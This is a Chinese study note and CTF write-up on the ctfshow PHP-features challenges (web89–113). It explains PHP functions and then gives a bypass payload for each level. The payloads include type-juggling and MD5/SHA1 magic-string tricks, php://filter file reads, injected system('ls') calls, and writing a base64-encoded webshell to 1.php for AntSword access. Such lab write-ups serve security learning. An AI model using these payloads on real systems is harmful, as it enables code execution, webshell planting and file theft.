web入门-php特性
前言:这里有很多知识点,因此做题带着涨姿势,边做题边补充知识点
一.知识点
intval()函数(web89)
作用
是 PHP 中用于将变量转换为整数的函数。它尝试从给定的变量中提取一个整数值。如果该变量不是整数类型,intval
会根据其内容进行适当的转换。
语法
int intval ( mixed $var [, int $base = 10 ] ) |
- $var:要转换的变量。
- $base(可选):表示数字的进制,默认是 10 进制。如果指定了其他进制(如 8、16 等),函数会按照该进制进行转换。
返回值
返回变量 var
的整数值。如果 var
是布尔值 false
,则返回 0;如果是 true
,则返回 1。
注意
- 如果字符串中包含数字和非数字字符,
intval
只会提取开头的数字部分,直到遇到第一个非数字字符为止。 - 如果字符串中没有有效的数字,
intval
将返回 0。 intval
当传入的变量也是数组的时候,会返回1- base变量位的0表示根据var开始的数字决定使用的进制: 0x或0X开头使用十六进制,0开头使用八进制,否则使用十进制。
intval()
函数如果$base为0,则$var中存在字母的话遇到字母就停止读取。
preg_match()函数
作用
是 PHP 中用于执行正则表达式匹配的函数。它搜索主题字符串中与给定模式匹配的内容,并返回找到的第一个匹配项。如果找到了匹配项,preg_match()
返回 1;如果没有找到任何匹配项,则返回 0;如果发生错误,则返回 false
。
语法
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) |
- $pattern:要搜索的正则表达式模式。必须以分隔符包裹(例如
/pattern/
)。分隔符可以是任意非字母数字字符,如/
、#
、~
等。 - $subject:要搜索的目标字符串。
- matches(可选):如果提供了此参数并且找到了匹配项,则会将匹配结果存储在这个数组中。‘matches[0]` 将包含整个匹配的文本,而后续元素将包含捕获的子组(如果有)。
- $flags(可选):可以设置一些标志来改变
preg_match
的行为。常用的标志包括:PREG_OFFSET_CAPTURE
:如果设置了这个标志,$matches
数组中的每个元素不仅包含匹配的文本,还包含其在$subject
中的起始位置(字节偏移量)。
- $offset(可选):指定从目标字符串的哪个位置开始搜索,默认是从字符串开头开始(即 0)。
返回值
- 如果找到匹配项,返回 1。
- 如果没有找到匹配项,返回 0。
- 如果发生错误,返回
false
。
isset()函数
作用
是 PHP 中的一个内置函数,用于判断一个变量是否已设置并且不是 null
。它在检查变量是否存在以及是否有值时非常有用。
语法
isset(variable) |
variable
:要检查的变量。- 如果有多个变量需要检查,可以传递多个参数,只有当所有变量都存在且不为
null
时,isset()
才会返回true
。
返回值
- 如果变量存在且不为
null
,则返回true
。 - 如果变量不存在或为
null
,则返回false
。
注意
isset()
不会触发任何错误,即使变量未定义。- 对于数组中的元素,
isset()
可以用来检查某个键是否存在且不为null
。 - isset()` 不能用于检查常量,因为常量始终被视为已设置。
strpos()函数(web94)
作用
是 PHP 中的一个字符串处理函数,用于查找字符串中第一次出现子字符串的位置。如果找到了子字符串,则返回其位置(从0开始的索引);如果没有找到,则返回 false
。
语法
int|false strpos ( string $haystack , string $needle [, int $offset = 0 ] ) |
$haystack
:要搜索的原始字符串。$needle
:要查找的子字符串。$offset
(可选):指定从$haystack
中的哪个位置开始搜索,默认是从开头开始(即偏移量为0)。
注意
- 在 PHP 中,
strpos
对大小写敏感。
highlight_file()函数
作用
是 PHP 中的一个内置函数,用于将指定文件的内容以语法高亮的方式输出。它特别适用于显示 PHP 代码文件,能够自动识别并高亮 PHP、HTML 和其他语言的语法,使代码更易于阅读。
语法
highlight_file(filename) |
filename
:要高亮显示的文件路径(可以是相对路径或绝对路径)。
返回值
- 成功时返回
true
。 - 如果文件无法打开或发生错误,则返回
false
并生成一条 E_WARNING 级别的错误消息。
注意事项
- 文件权限:确保 PHP 脚本有权限读取指定的文件。
- 文件内容:该函数主要用于显示包含 PHP 代码的文件。如果文件中没有 PHP 代码,或者文件格式不正确,可能不会产生预期的高亮效果。
- 浏览器输出:为了正确显示高亮代码,通常需要在浏览器中查看输出结果。如果你在命令行中运行此函数,可能看不到高亮效果,因为命令行环境不支持 HTML/CSS 渲染。
- 替代函数:
highlight_string()
函数用于直接高亮字符串中的 PHP 代码,而不是从文件中读取。
MD5()函数(web97)
语法
md5(string,true/false/空) |
强弱比较及绕过
强比较(===):先比较类型再比较值
弱比较(==):先将类型转换再比较值,比如字符串与数字比较则先将字符串转换为数字再进行比较
以下为常见绕过方法(MD5函数中均进行运算再计算MD5值)
1.0e绕过(科学计数法绕过)
以0e开头的数运算后均为0
变式:字符串若计算MD5值后为0e开头,则该值会被计算为0,比如题目(md5(a)==0),则可通过传入QNKCDZO等绕过
MD5加密后0e开头的字符串
QNKCDZO |
2.数组绕过
md5函数不能处理数组,因此处理数组时,都会返回null,因此在强比较时传入数组会使值相等,传参时可使用a[]=1&b[]=2来使两个值相等
3.运算配合类型转换绕过
md5() 遇到运算符,会先运算,再计算结果的MD5值。
当字符串与数字类型运算时,会将字符串转换成数字类型,再参与运算,最后计算运算结果的MD5值。
4.类型转换绕过
虽然 md5() 要求传入字符串,但传入整数或小数也不会报错;数字相同时,数值型和字符串的计算结果是相同的。
array_push()函数(web99)
作用
用于将一个或多个元素推入(添加到)数组的末尾。
语法
int array_push ( array &$array , mixed $value1 [, mixed $... ] ) |
- $array:要操作的数组(传递引用,使用
&
符号)。 - **value1,value2, …**:要添加到数组末尾的一个或多个值。
- 返回值:返回数组新的元素个数(整数)。
注意
array_push()
只能用于索引数组。对于关联数组,它会按照当前最大数字索引来添加元素。
in_array()函数
作用
用于检查一个值是否存在于数组中。如果找到了该值,则返回 true
;否则返回 false
。
语法
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) |
- **
$needle
**:要查找的值(即“针”)。 - **
$haystack
**:要搜索的数组(即“干草堆”)。 - **
$strict
**(可选):如果设置为TRUE
,则会严格检查类型(即不仅检查值是否相等,还检查数据类型是否相同)。默认是FALSE
,只检查值是否相等。
file_put_contents()函数
作用
file_put_contents()
是一个非常方便的函数,用于将数据写入文件。它可以一次性完成打开文件、写入数据和关闭文件的操作,因此比使用 fopen()
、fwrite()
和 fclose()
更简洁。
语法
int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) |
**
$filename
**:要写入的文件名(路径)。如果文件不存在,PHP 会尝试创建它;如果文件已存在且可写,则会根据标志 ($flags
) 决定是覆盖还是追加内容。**
$data
**:要写入的数据。可以是字符串、数组或资源。如果是数组,每个元素会被依次写入文件。$flags
(可选):指定写入模式的标志。常用标志包括:
FILE_USE_INCLUDE_PATH
:检查包含路径中的文件。FILE_APPEND
:追加数据到文件末尾而不是覆盖现有内容。LOCK_EX
:对文件进行独占锁定。
**
$context
**(可选):上下文资源,通常用于设置流的上下文选项。
返回值
返回写入文件的字节数,如果出错则返回 false
。
is_numeric()函数
作用
用于检查给定的变量是否为数值或数值字符串。这个函数非常有用,尤其是在处理用户输入或需要验证数据类型时。
语法
bool is_numeric ( mixed $var ) |
返回值
- 如果
var
是一个数字或一个数值字符串,则返回true
- 否则返回
false
call_user_func()函数
作用
PHP中用于动态调用函数或方法的函数,它允许通过变量名或回调形式执行函数。
基本语法
mixed call_user_func(callable $callback [, mixed $parameter [, mixed $... ]]) |
举例
1. 调用全局函数
function sayHello($name) { |
2. 调用类方法
class MyClass { |
3. 调用闭包(匿名函数)
$closure = function($name) { |
sha1()函数
以下值在sha1加密后以0E开头:
- aaroZmOk
- aaK1STfY
- aaO8zKZF
- aa3OFF9m
- 0e1290633704
- 10932435112
parse_str()函数
作用
用于将查询字符串解析成变量。
语法
parse_str(string $string, array &$result): void |
- **
$string
**:要解析的查询字符串(例如?key1=val1&key2=val2
中?
之后的部分)。 - **
&$result
**(可选):解析后的结果会存储在这个数组中。如果省略,函数会直接将键值对解析为当前作用域的变量(但此用法已不推荐)。
注意
注意事项
变量覆盖风险:如果不传递第二个参数,
parse_str()
会直接在当前作用域创建变量。若原有变量与键名冲突,会被覆盖。$name = "Admin";
parse_str("name=Hacker");
echo $name; // 输出: Hacker(原值被覆盖)特殊字符处理:
- 空格会转换为
_
(例如"user name=John"
解析为user_name
)。
- 空格会转换为
二.题目
web89(数组绕过)
|
也就是传参中不包含数字,但是要使intval()
函数返回真,直接传入数组,这样preg_match()返回0,intval()返回1
web90(进制转换)
|
这里intval()
函数中的0表示根据var开始的数字决定使用的进制: 0x或0X开头使用十六进制,0开头使用八进制,否则使用十进制。
num=010574 |
web91(%0a换行符绕过)
|
不难发现,一二层判断主要区别就是第一层有多行匹配,因此只要第一层通过,第二层不能通过就行了,通过%0a(换行符)绕过
cmd=php%0aphp |
web92(进制转换)
|
好吧,真的跟90一样,还以为点错题了
但是还有种解法,注意到这里和90的区别就是为弱比较
intval()
函数如果$base为0,则$var中存在字母的话遇到字母就停止读取。但是e这个字母比较特殊,可以在PHP中表示科学计数法。所以为了绕过前面的==4476我们就可以构造num=4476e1
还有姿势,可以通过小数来绕过,因此小数部分在被intval()
函数转化时会被舍去
num=4476.1 |
web93(小数绕过)
|
和上一题类似,小数或八进制绕过都行,只不过科学计数法不行了
num=4476.1 |
web94(+八进制绕过)
|
较之前的还需要在num变量中找到0且不能有字母,因此还是可通过小数或八进制绕过
好吧,注意,这里变成了强比较,八进制会先转换再比较,因此八进制不行了,只有小数绕过
num=4476.01 |
好吧,还有新姿势,也可以使用八进制,在前面加一个+号,不改变数的前提下强比较返回false
nun=+010574 |
也可以使用web91的%0a绕过
num=4476%0a0 |
web95(+八进制绕过)
|
把.过滤了,并且过滤字母,因此还是可以通过+八进制绕过
num=+010574 |
web96(高亮文件)
|
和之前的题目不一样了,涉及到文件了,这里只要变量u中不只是flag.php就行,可通过伪协议来做,也可通过绕过来做
直接读取
u=./flag.php #./表示当前目录 |
伪协议
u=php://filter/read=convert.base64-encode/resource=flag.php |
也可以不编码直接返回
u=php://filter/resource=flag.php |
web97(MD5强比较绕过)
|
做这么久终于遇到MD5了,知识点里面贴一下之前sql写的,本题直接数组绕过就行
a[]=1&b[]=2 |
web98
|
意思也就是GET传参不为空,且POST传参HTTP_FLAG值为flag就能输出flag
web99(传马)
|
主要利用in_array()
函数有漏洞 没有设置第三个参数,就可以形成自动转换,比如n=1.php自动转换为1,那么我们传入n=1.php,就会在检查时检测是否数组中是否有1这个数字
GET n=1.php |
注意,这里有概率失败,毕竟是随机数,要不就多传几次,要不就用bp的intruder,找到长度不同的包,这里我直接是多传几次蚁剑连接
web100(利用等号优先级比and高和闭合语句)
|
注意,在 PHP 中,等号 (=) 的优先级比 and 高。因此这里只检测了v1是否为数字
因此构造v2和v3来实现拼接就行,举一个例子
v1=1&v2=system("ls")/*&v3=*/; |
可见可以正常进行
v1=1&v2=system("ls")/*&v3=*/; //ctfshow.php flag36d.php index.php |
其他能够输出的函数比如var_dump或者print_r也可以使用
v1=1&v2=var_dump($ctfshow)/*&v3=*/; |
也可以读取文件
v1=1&v2=system("cp+ctfshow.php+1.txt")?>&v3=; //将ctfshow.php的内容写入1.txt中 |
访问1.txt获得flag内容
web101(不闭合直接反射类)
|
依旧是通过v1为数字进入第一层,然后v3可为分号,主要就是v2的传参,本题就不用把ctfshow闭合了
v1=1&v2=echo new ReflectionClass&v3=; |
涉及到类,可以考虑使用 ReflectionClass 建立反射类。
new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。
元数据对象(包含class的所有属性/方法的元数据信息)。
但是flag最后差了一位,还需要爆破
web102(向文件内写马)
|
就是要写个马上去
GET:v2=115044383949474167494352665230565557324664594473&v3=php://filter/write=convert.base64-decode/resource=1.php |
web103(<?=等同于<?php echo)
|
过滤了出现的php字符,用<?=绕过即可,同上
GET:v2=115044383949474167494352665230565557324664594473&v3=php://filter/write=convert.base64-decode/resource=1.php |
web104(数组绕过sha1)
|
以下值在sha1加密后以0E开头:
- aaroZmOk
- aaK1STfY
- aaO8zKZF
- aa3OFF9m
- 0e1290633704
- 10932435112
但是这个题甚至没有要求两个字符串不相等,所以上面的字符或者相同字符都行,数组绕过也行
GET:v2[]=1 |
web105(变量覆盖和die())
|
$$a = $$b
可以类似于,将$a的地址指向$b,所以无论$b怎么改变值,$a的值都会和$b一样
die()
函数虽然会终止程序,但同时也会输出括号内的终止提示信息
所以解题如下
- 先对get的内容进行覆盖,且不能覆盖error,所以要覆盖suces,即?suces=flag,此时suces=>flag的地址
- 再对post的内容进行覆盖,且不能将flag直接覆盖,所以只能error=suces,此时error=>flag的地址
- 此时无论进入哪个
die()
函数,都可以输出$flag
的值
GET:suces=flag |
web106(sha1字符绕过)
|
通过0e字符绕过
GET:v2=aaroZmOk |
web107(parse_str()函数)
|
传入的v1为一个json格式,v3为对应的MD5值就行
GET:v3=1 |
看wp还发现一种解法
我们传入v3[]=1,则md5($v3)就是null 这时候v1随便传,也可以满足if($v2['flag']==md5($v3))
web108(ereg()函数null截断)
|
ereg()函数用指定的模式搜索一个字符串中指定的字符串,需要字母在开头或结尾,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
?c=a%00778 |
web109(php内置类)
|
v1=内置类&v2=system(‘ls’)即可 php中会先执行ls命令然后把结果作为参数再执行但ls的结果已经被输出了
异常处理类v1=Exception&v2=system('ls') |
web110(getcwd返回当前路径)
|
过滤掉了内置类的手法,只能硬凑了
类FilesystemIterator
可以用来遍历目录,需要一个路径参数
函数getcwd
可以返回当前工作路径且不需要参数,由此可以构造payload
v1=FilesystemIterator&v2=getcwd |
发现flag文件就在当前目录下,直接访问即可
web111(全局变量覆盖)
|
利用全局变量,URL 传参时 $v2
不能直接传为flag,否则$flag
会因“函数内部无法调用外部变量”的限制而导致其返回 null
v1=ctfshow&v2=GLOBALS |
web112(php伪协议,过滤器)
|
直接利用伪协议读取flag文件
file=php://filter/resource=flag.php |
过滤器有很多备选
题中过滤了 data、input 等伪协议,又过滤了 string、data、rot13 相关的过滤器,但我们依然可以用 php://filter 伪协议搭载其他过滤器
常见的过滤器:
convert.quoted-printable-encode
convert.iconv.*
zlib.deflate
bzip2.compress
string.rot13
string.tolower
convert.base64-decode
选择限制字符以外的过滤器即可
当然,也可以不用过滤器:……/?file=php://filter/resource=flag.php
web113(绕过filter)
|
两种解法:
1.利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了。
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php |
2.利用php中zip伪协议 用法: compress.zlib://file.gz
compress.zlib://file.bz2
file=compress.zlib://flag.php |